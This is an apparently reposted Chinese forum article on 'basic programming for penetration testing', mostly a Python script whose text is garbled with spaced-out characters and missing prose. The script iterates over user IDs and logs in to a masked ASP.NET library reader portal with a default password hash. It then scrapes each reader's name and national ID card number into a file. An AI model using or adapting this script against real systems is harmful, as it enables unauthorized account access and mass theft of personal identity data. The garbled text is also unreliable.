[7524] 2021-02-28_渗透测试之基本编程(附源码【已打码URL】)

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-17
2021-02-28_渗透测试之基本编程(附源码【已打码URL】) ( U R L ) F 1 2 s e c   2 0 2 1 - 0 2 - 2 8   1 7 p x 1 5 p x p y t h o n [ ] X X 1 2 3 4 5 6 s f z 1 2 I D   .
I D 便 ' ' ' 2 0 2 0 / 0 2 / 2 3 * * ' ' ' i m p o r t   r e q u e s t s f r o m   b s 4   i m p o r t   B e a u t i f u l S o u p i m p o r t   r e s e s s i o n = r e q u e s t s . s e s s i o n ( ) # p w d = ' 0 3 a 9 1 7 f a 3 6 d 0 7 3 5 0 2 1 5 4 d 2 7 f a 6 4 3 6 8 1 2 ' f o r   i   i n   r a n g e ( x x x x , x x x x ) : #         #         V I E W S T A T E = ' '         V I E W S T A T E G E N E R A T O R = ' '         E V E N T V A L I D A T I O N = ' '         # a s p . n e t         i n f o = r e q u e s t s . g e t ( ' h t t p : / / * . * . * . * : * / N T R d r L o g i n . a s p x ' )         s o u p = B e a u t i f u l S o u p ( i n f o . t e x t , ' l x m l ' )         s o u p _ _ V I E W S T A T E = s o u p . s e l e c t ( ' # _ _ V I E W S T A T E ' )         s o u p _ _ V I E W S T A T E G E N E R A T O R = s o u p . s e l e c t ( ' # _ _ V I E W S T A T E G E N E R A T O R ' )         s o u p _ _ E V E N T V A L I D A T I O N = s o u p . s e l e c t ( ' # _ _ E V E N T V A L I D A T I O N ' )         f o r   i t e m   i n   s o u p _ _ V I E W S T A T E :                 V I E W S T A T E = i t e m . g e t ( ' v a l u e ' )                 # p r i n t ( i t e m . g e t ( ' v a l u e ' ) )         f o r   i t e m   i n   s o u p _ _ V I E W S T A T E G E N E R A T O R :                 V I E W S T A T E G E N E R A T O R = i t e m . g e t ( ' v a l u e ' )                 # p r i n t ( i t e m . g e t ( ' v a l u e ' ) )         f o r   i t e m   i n   s o u p _ _ E V E N T V A L I D A T I O N :                 E V E N T V A L I D A T I O N = i t e m . g e t ( ' v a l u e ' )                 # p r i n t ( i t e m . g e t ( ' v a l u e ' ) )         #         h e a d e r = { }         h e a d e r [ ' C o n t e n t - T y p e ' ] = ' C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d '         h e a d e r [ ' U s e r - A g e n t ' ] = ' M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W O W 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 8 0 . 0 . 3 9 8 7 . 8 7   S a f a r i / 5 3 7 . 3 6   S E   2 . X   M e t a S r   1 . 0 '         #         # B t n L o g i n '   ' B t n L o g i n         # r e q _ d a t a = ' t x t N a m e = ' + s t r ( i ) + ' & t x t P i n = ' + p w d + ' & L o g i n t y p e = R b n t R e c n o & B t n L o g i n =   '         # r e q _ d a t a = ' t x t N a m e = ' + s t r ( i ) + ' & t x t P i n = ' + p w d + ' & L o g i n t y p e = R b n t R e c n o & B t n L o g i n = B t n L o g i n '         #         # r e q _ d a t a = ' _ _ V I E W S T A T E = ' + V I E W S T A T E + ' & _ _ V I E W S T A T E G E N E R A T O R = ' + V I E W S T A T E G E N E R A T O R + ' & _ _ E V E N T V A L I D A T I O N = ' + E V E N T V A L I D A T I O N + ' & ' + r e q _ d a t a
a s p . n e t w e b j s J a v a S c r i p t j s j Q u e r y " i l a s " m d 5 3 2 m d 5 P O S T C o n t e n t - T y p e B t n L o g i n '   ' B t n L o g i n B t n L o g i n   u r l e n c o d e   5 0 0 3 0 2 3 0 2 2 0 0 c o o k i e r e q u e s t s s e s s i o n S e t - C o o k i e c o o k i e c o o k i e 2 0 0 3 0 2 使 s f z         r e q _ d a t a = {                 ' t x t N a m e ' : s t r ( i ) ,                 ' t x t P i n ' : p w d ,                 ' L o g i n t y p e ' : ' R b n t R e c n o ' ,                 ' B t n L o g i n ' : ' B t n L o g i n ' ,                 ' _ _ V I E W S T A T E ' : V I E W S T A T E ,                 ' _ _ V I E W S T A T E G E N E R A T O R ' : V I E W S T A T E G E N E R A T O R ,                 ' _ _ E V E N T V A L I D A T I O N ' : E V E N T V A L I D A T I O N ,         }         r e s p o n s e = s e s s i o n . p o s t ( ' h t t p : / / * . * . * . * : * / N T R d r L o g i n . a s p x ' , d a t a = r e q _ d a t a )         # p r i n t ( r e q _ d a t a )         # p r i n t ( r e s p o n s e . t e x t )         # 使 3 0 2         # i f   r e s p o n s e . s t a t u s _ c o d e = = 3 0 2 :         i f   r e s p o n s e . t e x t . f i n d ( ' ' ) ! = - 1 :                 i n f o _ r e s = s e s s i o n . g e t ( ' h t t p : / / * . * . * . * : * / N T C h a n g e s I n f o . a s p x ' )                 i f   i n f o _ r e s . s t a t u s _ c o d e = = 3 0 2 :                         p r i n t ( s t r ( i ) + ' ' )                         c o n t i n u e                 e l s e :                         # p r i n t ( i n f o _ r e s . t e x t )                         #                         s o u p _ L a b R e a d e r N a m e = B e a u t i f u l S o u p ( i n f o _ r e s . t e x t , ' l x m l ' )                         s o u p _ N a m e = s o u p _ L a b R e a d e r N a m e . s e l e c t ( ' # L a b R e a d e r N a m e ' )                         f o r   n a m e   i n   s o u p _ N a m e :                                 u s e r N a m e = n a m e . g e t _ t e x t ( )                         #                         s o u p _ L a b C a d r I d = B e a u t i f u l S o u p ( i n f o _ r e s . t e x t , ' l x m l ' )                         s o u p _ C a r d I d = s o u p _ L a b C a d r I d . s e l e c t ( ' # L a b C a d r I d ' )                         f o r   c a r d I d   i n   s o u p _ C a r d I d :                                 C a r d I d = c a r d I d . g e t _ t e x t ( )                         #                         d a t a = ' ' + s t r ( i ) + ' t ' + u s e r N a m e + ' t ' + C a r d I d                         p r i n t ( d a t a )                         w i t h   o p e n ( ' w h x y _ l i b _ s t u _ t e s t . t x t ' , ' a ' , e n c o d i n g = ' u t f - 8 ' )   a s   f :                                 f . w r i t e ( d a t a + ' n ' )                                 f . c l o s e ( )         e l s e :                 p r i n t ( s t r ( i ) + ' ' )         < s c r i p t >                 $ ( f u n c t i o n   ( )   {                         $ ( " # B t n L o g i n " ) . c l i c k ( f u n c t i o n   ( )   {                                 $ ( " # t x t P i n " ) . v a l ( $ . m d 5 ( " i l a s " + $ ( ' # t x t P i n ' ) . v a l ( ) ) ) ;                         } ) ;                 } ) < / s c r i p t >
P
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则